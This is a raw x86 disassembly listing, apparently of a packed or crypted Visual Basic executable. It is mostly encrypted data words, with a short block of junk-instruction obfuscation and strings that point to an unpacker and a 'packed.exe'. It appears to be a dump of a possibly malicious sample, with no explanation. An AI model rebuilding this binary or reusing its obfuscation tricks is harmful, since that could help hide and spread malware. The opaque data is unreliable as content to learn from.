		dd 0AF858234h, 10120FB9h, 5E2B853Fh, 896283Ah, 0B3B00254h
		dd 0F4582FBFh, 0CC8234C0h, 0A2AE385Bh, 0BD100F0Ch, 0E1915D2Fh
		dd 3584DEF3h, 99EFE359h, 5843A784h, 0ABCE6271h,	0FF41A5F8h
		dd 0F1791A11h, 0E0F787D1h, 0DA628D12h, 60C47755h, 75A8DC1Eh
		dd 875E1D21h, 219F7ED4h, 0AA5D5E1Dh, 0B9AFB793h, 2153CAFEh
		dd 0FEB15E1Dh, 272F1DABh, 88878428h, 2F99CF71h,	0CA9AC0FCh
		dd 5539D2C4h, 0D02h, 5DEB5589h,	7C0AB6A9h, 982688C8h, 0B341EFE4h
		dd 0D15FE9FFh, 0EA00DCBEh, 0CF1ED260h, 363BEF7Dh, 2540896h
		dd 210522B0h, 3E6430EDh, 1CF2D458h, 41EFE4ECh, 0ADE14544h
		dd 5E2B8270h, 28CAE194h, 46FA8832h, 5614A214h, 85823426h
		dd 3F34BDAFh, 0C71AACBAh, 0A9FC489Dh, 2E3F2D1Bh, 0A875A9E8h
		dd 5C5E2B2Dh, 0E91499A9h, 41AD6D84h, 0AB20FD31h, 31E45E2Ah
		dd 5E467ADEh, 9E5BCBD1h, 35ECEEEBh, 0C8584386h,	5228258Bh
		dd 19B5B204h, 9FCEA10Fh, 0E9E1DA2Dh, 0A0F58B7Bh, 6B00BEA7h
		dd 0A000000h, 399DE608h, 0CC826F05h, 5CC0735Bh,	0B6B30154h
		dd 292BA0B7h, 584480F8h, 0E0D03E36h, 0BEA6DA4Ah, 4555h
		dd 2B272F00h, 8C26E85h,	0F7399DE6h, 98DF5909h, 0F8F7F446h
		dd 0C793F1E8h, 0F506E2B0h, 4BFE5BCBh, 0EBD54C4Eh, 61595843h
		dd 70A4E6F3h, 5843EBADh, 0C6578B4Fh, 365843EBh,	5A193083h
		dd 0BEA73CC4h, 0ECFh, 0EB18D900h, 7E000008h, 0D4D17B76h
		dd 812BED5h, 5399DE6h, 5BC698CCh, 0F9016518h, 0D9C755E7h
		dd 67BA6397h, 974A583Eh, 3A8CDE80h, 0DEA5493Dh,	2330387Ah
		dd 3B91908Dh, 583E66E2h, 7C586F22h, 0D97F0A48h,	379B4E55h
		dd 805CC1F5h, 16A05E2Bh, 797875C7h, 2B330F26h, 1B238739h
		dd 7B7A77C9h, 0B4B11B51h, 0E4989EB5h, 121283F2h, 655933D9h
		dd 0CD211512h, 361E52B6h, 365BCC65h, 62125083h,	0E780CAA3h
		dd 0B7103h, 7CCA1A00h, 9B293AEEh, 0B719590Dh, 0D27E7529h
		dd 0F05A9044h, 916D4F62h, 0AF63F15Bh, 0CC800EBEh, 0E5992785h
		dd 96B341F3h, 639F7EB2h, 7B5D583Eh, 8327FAA5h, 0AE9C5E2Bh
		dd 0A1FB4A6Eh, 5C1C3318h, 598DF192h, 5BC65388h,	4D3BC97Ch
		dd 143CD75Fh, 0E5677582h, 67AF22Eh, 7FE9F94Ch, 77578C3Ch
		dd 5C925269h, 5693C72Bh, 2E55D933h, 0DD0F177Bh,	3729DD6Bh
		dd 5A948885h, 7B83C529h, 9984DA6Ah, 6B5E2B03h, 91C5A1B8h
		dd 5BC61BE9h, 0AEB61ACDh, 0C87C0ABCh, 17272496h, 2A86CDD5h
		dd 45D82E2Dh, 0B7583E1Ch, 1FED04h, 0DFD83E1Ch, 7FEBB0Fh
		dd 7227DEB5h, 0E0CDBB1Fh, 0CE88BB1Dh, 0E729051Ch, 4EAC71A5h
		dd 9D50D83Eh, 5714B886h, 0B568D5DFh, 0C6773A82h, 0DBBF5844h
		dd 0A96h, 0C957E1F5h, 0E876C215h, 4923C34h, 1FAD0350h
		dd 3DCB7D6Bh, 7E6C482Ah, 5B8A3ECCh, 0AAA75BE9h,	0AEC07402h
		dd 8D718E1Ch, 3E62C459h, 80563858h, 45F3E4ECh, 6077C91Bh
		dd 0C5E4EA0h, 94BEBDBAh, 3DA1F446h, 0C697D809h,	0A6BC2C5Bh
		dd 2AF3279Bh, 0DA583D9Dh, 338F1727h, 5A62C619h,	6452B608h
		dd 0FD780773h, 0CED4EB60h, 3165C81Ah, 583E56ECh, 0E7558610h
		dd 4598EBEAh, 0E99A5448h, 6D945185h, 0F53755D9h, 2B515CC1h
		dd 0BEFFB35Eh, 0FC3AEA94h, 0AE1626D9h, 0D4743BC4h, 8336D1E8h
		dd 73C5171Fh, 8B3F210Fh, 0D0ED7EACh, 0EDFFB3B9h, 846A5E5Bh
		dd 0B76B9F03h, 5B5BC5C1h, 0DD309CD1h, 1A033779h, 0EA583DB5h
		dd 273AF27Ah, 0B80B10B9h, 0ABBDC5A1h, 959D8B19h, 38DAF143h
		dd 95979426h, 583E268Ch, 88EC9B53h, 9F2D3E46h, 0BE8CA3A2h
		dd 55D93C5Fh, 4486EA9Dh, 3C4FCE02h, 0FAAD5E2Bh,	0C62F41E3h
		dd 2B2A2795h, 44964AD8h, 3165D61Bh, 5E2B3BECh, 0B70A5D10h
		dd 9BCF1153h, 5E2B3C82h, 0A479CF82h, 585E2B3Ch,	9198EA5h
		dd 4A61EB01h, 0BF23648Ah, 0C6525E8Bh, 8683365Bh, 0C72B5C92h
		dd 0DF3D9993h, 0C3F6A955h, 0C4C67FA9h, 4708EC85h, 44000009h
		dd 6418A610h, 8337C573h, 9F53E14Fh, 0BA6EFC50h,	798C1AACh
		dd 1BADBB97h, 3884D98Dh, 51FBF6AAh, 6BDD0FC3h, 0A8DCC0DDh
		dd 583E6075h, 26CFA587h, 75858234h, 83B7646Dh, 5E2B829Ah
		dd 6764B76Ah, 0BDAF5168h, 22380E0Bh, 8CC59B98h,	0EF62320h
		dd 0F06EA4A0h, 0BBDAF82h, 0A516AC7Dh, 0C21B8BFh, 2B000000h
		dd 42ECE4ECh, 5297B2Bh,	0EC110000h, 82A776AAh, 0A2555E2Bh
		dd 4293DA8Bh, 65D304ACh, 0B2166968h, 0CCB03E7Eh, 50BBE5Bh
		dd 3920B615h, 6349A587h, 0C3C2BF71h, 0DCCA0C70h, 3463B68Eh
		dd 9361786Bh, 84E07489h, 5BC2F638h, 0A98B2064h,	0BA44DFF6h
		dd 5FC316A8h, 4D28BE71h, 0F910D978h, 255E9084h,	89338DC1h
		dd 0E0CE88B6h, 84A23749h, 740F268Dh, 1E555DC1h,	9FB6B5B2h
		dd 17A9BBC3h, 25599B89h, 8749AAF8h, 6360CC05h, 778E4164h
		dd 0EC2083D5h, 8749AB31h, 0A70949D3h, 0AACE0154h, 789B9E0Fh
		dd 83CFBDFh, 1F4F0000h,	7C6F23B1h, 428E42D0h, 0A5AA5EECh
		dd 97C57907h, 0A2849725h, 982690C6h, 0B543F1E4h, 0CE5CF001h
		dd 0E876C81Ah
		dd 6AB3E7CBh, 9A583E5Fh, 3426E2B8h, 0B9AF8582h,	0A6BDAB0Fh
		dd 0E9857D56h, 2CFE041Bh, 295DC1C2h, 5BC5E4E2h,	0CB796CF6h
		dd 9ED21478h, 583DD97Fh, 0D7B3CA7Dh, 0E95B8D95h, 34D6EDECh
		dd 4E029022h, 0B9ADAA1Ch, 0FCEA4E35h, 7FAB0876h, 0DEBAD168h
		dd 0D8C43BAAh, 82CF5955h, 0DB2E2D2Ah, 0CB7D6F77h, 0E557893Dh
		dd 72C412E8h, 0BD07193Fh, 8064FDC4h, 7A2h, 0BD4BF5E9h
		dd 0DC6AD609h, 0F8862828h, 13A10F44h, 31BF095Fh, 0A603C1Eh
		dd 6F7E32C0h, 569B4FDDh, 0A2B468F6h, 81658210h,	3E5FD04Dh
		dd 7C523458h, 399DE608h, 825AC3F7h, 0F7AA5E2Bh,	15D004E0h
		dd 0F75BC698h, 86D8E044h, 0E0F2A634h, 93C76477h, 583E688Ah
		dd 2174C77Ah, 0C5BE3024h, 681B2D61h, 44F755DFh,	0C6532111h
		dd 7458F1C4h, 732h, 2DBB0559h, 4CDA6679h, 68F65898h, 8311BFB4h
		dd 0A12F99CFh, 9AD0AC8Eh, 0FFEEA230h, 0C60BBF4Dh, 3224D866h
		dd 0F1D5F280h, 3E5E60BDh, 0ECC2A458h, 85823426h, 0A70BBDAFh
		dd 81EC3165h, 5D105E2Bh, 71EFD146h, 8C3E3003h, 0D6A13A28h
		dd 77FB6D76h, 0F3895A60h, 0FEB8C0B9h, 18h, 3211808h, 3C7E0000h
		dd 2B821508h, 0F177E75Eh, 58B22641h, 0EE9AB104h, 0E0C53426h
		dd 7475CBD5h, 4850B407h, 2D9FD112h, 5A4EC3DAh, 5B8FF394h
		dd 5BC61F8Ah, 9549D78Ah, 4B8DF143h, 3E210617h, 2C43F658h
		dd 848BE1B7h, 0B71546DCh, 7806594Ah, 0FA2E48A6h, 583E0123h
		dd 393688DAh, 1164173Ah, 0ACA5ADh, 11ED0403h, 1F26E1CFh
		dd 0A1320FC5h, 1C8ABC8Ah, 34555D9h, 2B1C4ECFh, 0B03EAE5Eh
		dd 9D94754Bh, 37D2E93Ch, 0C6182084h, 2032E674h,	8F3C2A8Eh
		dd 14B964D4h, 8D63D8EFh, 8189ED5Fh, 8697CB70h, 765E2B29h
		dd 0E45970C3h, 2185FEF0h, 0CC4193EDh, 89BC6F5Bh, 0CAA37987h
		dd 13967A13h, 78000006h, 984CDA64h, 0B76BF947h,	0D38715BBh
		dd 0EEA2309Ch, 0ADC04EF8h, 4FF9EFCBh, 6CD80DC1h, 85272ADEh
		dd 9F1143F7h, 0DC10F411h, 583E5D41h, 0EC0BE1C3h, 0EF3C3AFEh
		dd 93C48909h, 0ABA8D225h, 0F2090805h, 87D51E50h, 56318578h
		dd 96E9AEBFh, 7E704643h, 0F8F9CFCCh, 6C815754h,	4A7B6E0h
		dd 2B494DD0h, 0A9FCAF5Eh, 34A274ACh, 28A2F37Bh,	0A4F778A1h
		dd 0AF82F06Eh, 0AC7D0BBDh, 0B8C01C16h, 721h, 4B182B00h
		dd 0AE000001h, 4F823426h, 0C4BC3943h, 7B5236CFh, 10000005h
		dd 30E472DCh, 4F03913Fh, 6B1FAD03h, 863AC864h, 4558E650h
		dd 0E7518763h, 4B0A559h, 1D8FC276h, 3789DB8Fh, 74A88CA9h
		dd 583E5DA9h, 26A3795Bh, 75858234h, 821EFF33h, 2BDE5E2Bh
		dd 0CE607214h, 29F4286Ah, 0DB5E2B82h, 0BA9C1128h, 0E9FBCE3Ch
		dd 62F8C957h, 6DB8BFD9h, 1Ah, 0D81877h,	3C7E0000h, 2B821508h
		dd 0A34E75Eh, 0A45067C5h, 0C518h, 0E608AE00h, 0E005399Dh
		dd 245BC698h, 95F94B9Ah, 3E67BC61h, 3A8D4058h, 30252D3Dh
		dd 41AD6D84h, 0BEAADE42h, 9555DF7Ch, 0D1E8448Dh, 82508336h
		dd 0D0C4C63Ah, 4CC5337h, 0AFBF0000h, 8CDF9321h,	0F2FEB240h
		dd 0D51ACE5Ch, 2735E977h, 12F40795h, 8962036h, 25B30154h
		dd 3ECC6071h, 58E6588Ah, 0FA23573Bh, 0A583E5Bh,	0E6085228h
		dd 3805399Dh, 0CC5BCCCFh, 0A5ADB519h, 0A18F7D0Bh, 0AC1BFD50h
		dd 1BE90074h, 5843A805h, 15A3B4BCh, 60021918h, 1658BC0Eh
		dd 3DE1AC28h, 0B006A992h, 5843CF6Dh, 80EBEBA2h,	0BCDF1AC9h
		dd 3A8D3F32h, 272F1D23h, 28C4C635h, 0B9DD2F91h,	536A6966h
		dd 120FA1B1h, 4412Eh, 0E608C400h, 0EFF7399Dh, 51504DE3h
		dd 8264B9EDh, 0E5985E2Bh, 98E500CEh, 0DEE65BC6h, 0C2FA808Fh
		dd 7ECE2A2Fh, 182F2E2Bh, 2466CA7Dh, 257BC91Ch, 583DECF8h
		dd 0CD42590Ch, 0A6E15D9h, 0DF0292D6h, 28293155h, 0BA0DBFADh
		dd 0CA7BEBDh, 779EE29Ch, 527C9F68h, 2A5DB01Eh, 0C4C72A52h
		dd 0DFA38720h, 0AC000003h, 0CC800EB8h, 0EB9F2D9Bh, 7BB49E7h
		dd 22D664C8h, 0E1F48234h, 833523FFh, 0A02C41F5h, 0B9135E12h
		dd 0D365772Bh, 10442845h, 583E5B0Dh, 8370DEFh, 5399DE6h
		dd 5BC698CCh, 0F9016518h, 0E9F155E7h, 3C4C49F3h, 3E671508h
		dd 0E134E758h, 0CED6C4CAh, 2E2D2A9Ch, 0D1637517h, 0C36D656Dh
		dd 3BB0C7C6h, 7CE0A747h, 0D97F0A48h, 8CC44E55h,	0A9A6064Bh
		dd 5B5A57AAh, 4A9CA408h, 2D80CC21h, 9B213130h, 0C1BD509Bh
		dd 5058344Bh, 6A1EAC1Eh, 0D5C9C678h, 0D2066A19h, 5BCC3882h
		dd 0B29CCF82h, 0A0CAA37Dh, 3382307h, 3530000h, 607327B5h
		dd 5E9246D4h, 0A1AE62F0h, 93C97D0Bh, 0A6889B29h, 9C2A9CCAh
		dd 0B947F5E8h, 0D260CC05h, 0EC7ACC1Eh, 66B7EBCFh, 96583E5Ah
		dd 0AAECDEB4h, 2B82A776h, 0AE184E5Eh, 0DC8FB2B1h, 6E3123C5h
		dd 2B81E33Ah, 1B6E215Eh, 0A416481Eh, 0D9AA4416h, 0FE4C8775h
		dd 2D6DFB9Bh, 9A063A16h, 6A5BCC2Eh, 3F3C8EE0h, 0EEF0ED40h
		dd 58442F33h, 0A59503FBh, 0BEA72C0Fh, 281Ah, 0E6082400h
		dd 82C5588Ch, 84375E2Bh, 7F99CD31h, 835BCCAAh, 50D1D3D0h
		dd 0DE58445Ah, 0F28878E6h, 0FDBEA6CCh, 0F6h, 82342607h
		dd 0E97301Eh, 0E3C3CD74h, 6B8157CCh, 73B7DE1h, 5E2AFA16h
		dd 0BB095CE6h, 6DC5168h, 1D51D4h, 45E2AFAh, 0AC9AFE51h
		dd 0E8516BB8h, 0F4698080h, 30BDCC1Eh, 1ECEEBFBh, 21018FE2h
		dd 5E2B582Eh, 2387392Bh, 5970ADE1h, 468D5E2Bh, 0CBEEEDEAh
		dd 47FB0118h, 0BF5E9215h, 3D5E2B59h, 463A378Ah,	477BDFA8h
		dd 5BCC6BA5h, 8B3D2BB5h, 16D8AA38h, 0A2D5096Dh,	9E55DAF7h
		dd 3D4587EBh, 0D8459B35h, 2C5E1CF7h, 3CE11579h,	0C05E1CF8h
		dd 121AF60Dh, 8BC8B5C4h, 0A52F03A3h, 0DA10C452h, 64F22B5Fh
		dd 0DA0B5E1Dh, 4B6E6D6Ah, 0CA1DAFC1h, 56904477h, 8922C4CAh
		dd 1D9A5h, 14A2B200h, 3381D286h, 4FE1F1A5h, 6AC60DC1h
		dd 883228DCh, 2905E7FAh, 47FB8933h, 6418A616h, 7D31BF6Dh
		dd 2E4BD96Bh, 5907164Ah, 13F5583Eh, 8630263Dh, 0A01244F8h
		dd 0E6085412h, 0BE4B399Dh, 0A10952Ch, 0FD2054B8h, 0FF5E2B09h
		dd 2559354Ch, 5BCC31F3h, 0E6B3C0AEh, 0EAFAFC78h, 888538D3h
		dd 443F9B86h, 2D9B9358h, 0A6E8A73Dh, 0A9B2BEh, 26BC0000h
		dd 0AF858234h, 10120FB9h, 5E2B853Fh, 896283Ah, 0B3B00254h
		dd 0F4582FBFh, 70E8C4B2h, 0BC342CC1h, 2B52B766h, 2E92455Eh
		dd 2B5223FAh, 172EE15Eh, 64E5073Bh, 0ACB45BCCh,	913B31BAh
		dd 2B429594h, 7D4FDD90h, 6CAE1271h, 0C8C57364h,	0B2E4B2C9h
		dd 0ED55DB0Bh, 2D44F0E5h, 737BDF92h, 9145D365h,	8BEF15Bh
		dd 8EC4CACFh, 0F811F5h,	43930000h, 0A0B367F5h, 9ED28614h
		dd 0E1EEA230h, 0D309BD4Bh, 0E6C8DB69h, 0DC6ADC0Ah, 0F9873528h
		dd 12A00C45h, 2CBA0C5Eh, 26F72B0Fh, 0D6583E58h,	30261EF4h
		dd 1244F886h, 265412A0h, 875DC534h, 0A9747F16h,	0DDDA727Fh
		dd 0B88E8BDEh, 0B48614A6h, 0A3E5493Ah, 0FCF9579Bh, 0B86599FDh
		dd 4C5E2AC3h, 25B48299h, 5F5BC5DAh, 87D9AFACh, 87E3D135h
		dd 8AE06C9Bh, 0E7458CB6h, 0CED4EBEAh, 7976C81Ah, 14CA1477h
		dd 3FAD7F27h, 83B77A6Ch, 0E767369Ah, 0D664B76Ah, 7CC13022h
		dd 11D02FACh, 14242174h, 556CDE0Ch, 1310BCB3h, 6071794Bh
		dd 1B3A2CCh, 32EE0504h,	4175B7C4h, 0E76733DCh, 0F5285C20h
		dd 7E76733h, 48EA0154h,	5240A416h, 0B29759B2h, 0C9CFE6E6h
		dd 559AC315h, 0A8FBFAF7h, 18C7ABh, 0CB5D0000h
		dd 1C54DDCBh, 100A3B8Fh, 5464E042h, 8EB84C16h, 0EFEEEB41h
		dd 36262CD8h, 0A3B58B88h, 333E1411h, 97C69C99h,	4522825h
		dd 89DFB5B2h, 676C423Fh, 0FAF6CCC9h, 6E815754h,	681AE5E2h
		dd 2411h, 68240C89h, 13F0h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, 66D52A34h
		add	ebp, 9F17F1C3h
		push	ebp
		pop	esi
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	5EC3h
		mov	[esp], edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], esi
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_553505
; ---------------------------------------------------------------------------
		dw 245Dh
		dd 471BC5D7h, 6DD9893Ah, 720457ABh, 0ED2B8AB8h,	0FFC50305h
		dd 213026E0h, 0E5628900h, 0B1093D0Ch, 7558885Fh, 8ADC0D14h
		dd 0CD3F7F2Bh, 0F2702624h, 5122C91Fh, 6FE1151Ch, 16A1F91Ch
		dd 0B0B13501h, 50DD6550h, 0D894DC0Eh, 44C9840Dh, 18561356h
		dd 5543D132h, 4918142Fh, 1297624Dh, 1C97885Ch, 6A39E83Dh
		dd 2944B513h, 0E2E8D011h, 8F98314Eh, 0CCF9D505h, 21B32B0Dh
		dd 0E193491Ah, 9263175Dh, 97849A7Ch, 1B63A441h,	0CBB01531h
		dd 0A9AEF60Ah, 31CD9641h, 3B8D8D60h, 6A05ED2Dh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 89E1C352h, 0E71AA98Dh, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 97A71BE5h
		dd 4F38166h, 4D85C7ACh,	5805E72Ah, 6A000066h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 5BBAC351h, 94F4CC6Bh, 0F8928E91h, 42596FBAh,	3985C740h
		dd 5E727h, 0B000000h, 0E72C49B5h, 5DB5FF05h, 8005E701h
		dd 95FF6ECEh, 5E71795h,	8942C880h, 0E715019Dh, 0FF006A05h
		dd 0E721C195h, 0EBC08B05h, 86124D78h, 0DED39598h, 726135DDh
		dd 1B6FA28Dh, 0EB83C1A1h, 77B123BAh, 0CCEFA66Fh, 3C3737B8h
		dd 935CAC78h, 8BFBD09Fh, 0CA68A098h, 44ED00Ch, 84894FFBh
		dd 0C64472EEh, 0EE01EC72h, 91FD8765h, 8F1B8D35h, 6EB0F8CEh
		dd 0E94B1230h, 55CBE75h, 2BD86438h, 8C52AB02h, 0DD17F20Ah
		dd 0C866A7F4h, 0AA1ECD27h, 7C928AFFh, 3BEF6BECh, 0B59AFEF2h
		dd 95FCD08Ah, 56FA2CAFh, 11E883h, 0C1A80000h, 0E53579C4h
		dd 0D023CB8Dh, 0DF49837Fh, 89E92FEFh, 0E7285D8Dh, 37BF5B05h
		dd 81253899h, 74C9C3h, 8D095000h, 5E727E9h, 6858h, 850F0000h
		dd 0Ch,	7E9h, 0EF97ED00h, 295335B7h, 2D958B59h,	0FF05E72Ch
		dd 9D891934h, 5E70C09h,	1585895Eh, 8105E70Ah, 3D2FEEEEh
		dd 81FCB24Fh, 583D7EF6h, 138A0F49h, 0F000000h, 0D8Ah, 8E900h
		dd 0B7720000h, 920399DEh, 0F681BA1Bh, 4D505BA8h, 2005BD01h
		dd 348905E7h, 4419B80Bh, 0E9830DACh, 619D8903h,	4905E706h
		dd 29FDBD89h, 0F98105E7h, 0FFFF8C04h, 10850Fh, 858B0000h
		dd 5E72C61h, 16E9h, 71097400h, 0B866C214h, 80E9BF04h, 0F1FFFFFFh
		dd 0D623D188h, 0E8760D89h, 5, 2C120319h, 10E9EFh, 13920000h
		dd 0B2FD6E27h, 0D2268658h, 8940DE7h, 0E95F60ABh, 9, 0D5A6953Dh
		dd 0CF6A967Ah, 80C7813Ch, 8B00006Ah, 0E72BB585h, 1A756805h
		dd 27B80000h, 5E0ED4D4h, 25DB529h, 37FF05E7h, 830F5AF5h
		dd 5, 0C0F38166h, 29F281AAh, 5063A76Eh,	48D0Fh,	0BB660000h
		dd 815B9CAEh, 6485CF2h,	0D98D0B2Ah, 8105E712h, 0A233FEC2h
		dd 0D9B5097Dh, 8905E712h, 0C9958917h, 8105E707h, 0F4A69AEFh
		dd 8D850352h, 8105E709h, 0F4A696C7h, 0C1BF0F52h, 0A3850F4Eh
		dd 60FFFFFFh, 29C18D8Bh, 0C4B905E7h, 612E5AFFh,	15CE9h
		dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h,	70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0D9h, 9Eh, 5Bh
		dd 1D4BE939h, 0E680000h, 0E905ED33h, 0FFFA4FDBh, 0ED340168h
		dd 4FD1E905h, 0DA68FFFAh, 0E905ED34h, 0FFFA4FC7h, 0ED35DB68h
		dd 4FBDE905h, 1A68FFFAh, 0E905ED36h, 0FFFA4FB3h, 0ED36ED68h
		dd 4FA9E905h, 4968FFFAh, 0E905ED37h, 0FFFA4F9Fh, 0ED379068h
		dd 4F95E905h, 0E168FFFAh, 0E905ED3Eh, 0FFFA4F8Bh, 0ED3FB868h
		dd 4F81E905h, 0A368FFFAh, 0E905ED40h, 0FFFA4F77h, 0ED418668h
		dd 4F6DE905h, 0E768FFFAh, 0E905ED41h, 0FFFA4F63h, 0ED42B268h
		dd 4F59E905h, 5868FFFAh, 0E905ED43h, 0FFFA4F4Fh, 0ED440568h
		dd 4F45E905h, 2A68FFFAh, 0E905ED4Bh, 0FFFA4F3Bh, 0ED4C2A68h
		dd 4F31E905h, 0B668FFFAh, 0E905ED4Ch, 0FFFA4F27h, 0CC62B72Dh
		dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh
		dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 7F050DF1h
		dd 2AAF955Ah, 0E0F8ADBFh, 0BFCB9D8Ch, 0AD847B87h, 66817E60h
		dd 0B34B9899h, 4B60B74Dh, 0F654936h, 1FED5492h,	920FAC90h
		dd 2E663454h, 0B69F5F88h, 38484618h, 920DA8Ah, 1CDEECA3h
		dd 0A4F138C3h, 7359A60Ch, 76AABFDAh, 3EEE5434h,	22356DBCh
		dd 77A2D635h, 3B885651h, 76BB4452h, 0A273533Eh,	80E5A79h
		dd 37DD87F2h, 0F1D409Bh, 11F340F1h, 0A2DA40E9h,	4C30h
		dd 0FB2CDB00h, 3C29B747h, 5491D358h, 5FAC12E0h,	0BDAA61C7h
		dd 5176FBF6h, 8C9D5E76h, 0F441A73Fh, 2509F60Bh,	0AD5A78FCh
		dd 0DCBCA7DFh, 775A78FBh, 46F09B71h, 86409BD4h,	5F0EAF74h
		dd 139911Bh, 0FE8Fh, 0D02A3800h, 3C740C59h, 98AABF2Bh
		dd 0C3C76A37h, 8E720161h, 16549269h, 0C0A49148h, 48549269h
		dd 0C936427Ah, 0C2391B68h, 0C7381A67h, 26341D6Ah, 142058D9h
		dd 7D8F46EBh, 0DA58B6A4h, 0CEC0F840h, 928E839Fh, 0BF728D54h
		dd 2206F308h, 0AA54928Fh, 62B2A4DCh, 0CB47949Dh, 64793098h
		dd 8E7E624Fh, 14015492h, 54928F30h, 2038EAB8h, 6E0653DEh
		dd 0FAE5D008h, 0FD517792h, 9417FBE8h, 0D19F5A79h, 27BD8B99h
		dd 43510A3Dh, 0FFE372B7h, 875A7993h, 0BA98CA6Bh, 0EA500C72h
		dd 0AAB8CD84h, 0F48CD950h, 6384D1BCh, 0EC045760h, 3BA20F9h
		dd 8D2306F5h, 476BBE3Dh, 0DF04F66Ch, 46BB5F3Ch,	0D400001Ah
		dd 23730910h, 6CBC52D7h, 0BA0AA079h, 555EB46h, 849D33F6h
		dd 2603F81Bh, 73BE4090h, 0BD748DDDh, 928D727h, 98859E73h
		dd 5A7F06B4h, 0C6D1563Ch, 75EF435h, 0DB2801F9h,	0FF0B43h
		dd 2C469B31h, 0C5DA91FBh, 2D8F59B3h, 0C442206h,	77D15A21h
		dd 0BF0CDA51h, 8463C4D6h, 84F64613h, 0CA0227D4h, 78D4FFDFh
		dd 37459A5Ah, 6D3169C8h, 0FD42EC9Fh, 0BE23409Bh, 0CE000000h
		dd 41F839C6h, 2E66CB33h, 0D158A385h, 0D7A7C384h, 4EB15491h
		dd 2FD4DE3h, 3D66E22Fh,	0F1FF14CBh, 0FDE82009h,	5176DC12h
		dd 32FF021Ah, 1B4C36CCh, 0F9ECFAB1h, 33BD320h, 6CA503F0h
		dd 625575Fh, 628F3519h,	89EFBD60h, 4CAFBDD2h, 4CAE90DDh
		dd 333F77DDh, 74CB61C8h, 8E8E725Fh, 48166062h, 0E8F70410h
		dd 34CC1918h, 6BB86184h, 74496DD3h, 54DF05EBh, 1953D377h
		dd 1DC70000h, 0E41666FCh, 865FAF45h, 53ADFD93h,	3F848DEh
		dd 0E779026h, 831910EBh, 0D066CB33h, 1AB08180h,	66FC35CAh
		dd 0A78B7891h, 2F5A7F07h, 35C6C449h, 0F10E5EF4h, 73270AF6h
		dd 4BE67016h, 8D238973h, 0F839C638h, 0FB36C9ABh, 0E0487B65h
		dd 0EDFF1429h, 44511B1h, 0D3B74659h, 5B549281h,	0F36A558Dh
		dd 0F3517780h, 0A80E23DBh, 83BA9A5Bh, 555A79h, 841AFEEBh
		dd 0D4A25A79h, 5702D89Ch, 409B48ADh, 0C88Eh, 16573900h
		dd 0E69D0F38h, 76E2B6F9h, 0BF263E51h, 687F45Ah,	85F2A878h
		dd 8E45B7E0h, 0F8D3BEA1h, 2B78462Bh, 36CA84AFh,	0D0DE95FBh
		dd 0B5C80031h, 0E4B589C8h, 843B0931h, 12A88976h, 0B6A33DC2h
		dd 3AE557D2h, 2268C5Ah,	48322C5h, 7A8C300Dh, 0A0000018h
		dd 0EF3FD544h, 38881E0Bh, 86D66CADh, 0D121B77Ah, 5069FF2Ah
		dd 0F237C4E7h, 3FF20C5Ch, 89A859A9h, 0D55CA3F3h, 64516A3Fh
		dd 5A7F0780h, 0BF9D2208h, 0D3D9BDAAh, 93615491h, 81B04F5Bh
		dd 7D394B34h, 0B81711B9h, 2C57FD35h, 3F005BCh, 5492231Fh
		dd 26D851A9h, 0D752A858h, 0A7BAF28Ah, 772243BAh, 0DF754351h
		dd 0E8CA7688h, 0AF8BDFBAh, 0F42CBA58h, 3870D6C1h, 34B1BF27h
		dd 3B32ADE5h, 0C178E013h, 0E03E2CAFh, 0CF07D2C5h, 78CCFBCh
		dd 0F5145177h, 792C2408h, 78DEAC5Ah, 0DBBFACC1h, 615A792Bh
		dd 0B9877BF7h, 1BE99B0Bh, 27991AE3h, 97D9A126h,	5845FC6Ch
		dd 0DE87EF75h, 1A17EAF8h, 669E7B6Ah, 0C13D8A58h, 5D6F2696h
		dd 7F6C759Fh, 0E78A559Bh, 0E4A15523h, 9BAEE6F6h, 73B06FAEh
		dd 6A21EFE4h, 0F88EA35Ch, 0BB9F8CA1h, 45ED7452h, 0F5C375BCh
		dd 0E34EB1BDh, 0F42712BFh, 0D97D5A51h, 1779h, 40D643A1h
		dd 891F0AF0h, 0D76DAC39h, 22B87987h, 6A0029D2h,	36C5E851h
		dd 0F10D5DF3h, 0A75AAA40h, 5BA4F48Ah, 526B40D6h, 7F088165h
		dd 9E23095Ah, 0D4F839C6h, 0EAD6A607h, 3AE28663h, 0E0000017h
		dd 2F7F1504h, 78C85ECBh, 0C616AC6Dh, 1161F73Ah,	90A93FEAh
		dd 32F70427h, 7FB24C9Ch, 0C96899E9h, 151CE333h,	0A491AA7Fh
		dd 5A7F09C0h, 0C6DD6248h, 3341F839h, 801865CCh,	0F0239F48h
		dd 35E4D188h, 0B05176CBh, 1D5B699Eh, 0F42C212Eh, 0F6DAC7E6h
		dd 7E5A79A9h, 4D9A7F66h, 0A69B4FB5h, 256A5676h,	0AD6C0268h
		dd 0E4547FCFh, 0B3FD402Dh, 6E80575Eh, 5D32AD42h, 39477F21h
		dd 0E94FDA21h, 0A5C1D37Ch, 0E12559D3h, 0F604EF27h, 0F1D40881h
		dd 0F90005DFh, 629AD2B8h, 6A218BBCh, 0EE1D9A7Dh, 75422F9h
		dd 39F0588Bh, 0D9FF0D4Ch, 70758DFFh, 5EC45CA9h,	0E48092A7h
		dd 620E98B8h, 0F708144Ch, 0AB54A43Ah, 1F6CC53Ch, 0E8FD2187h
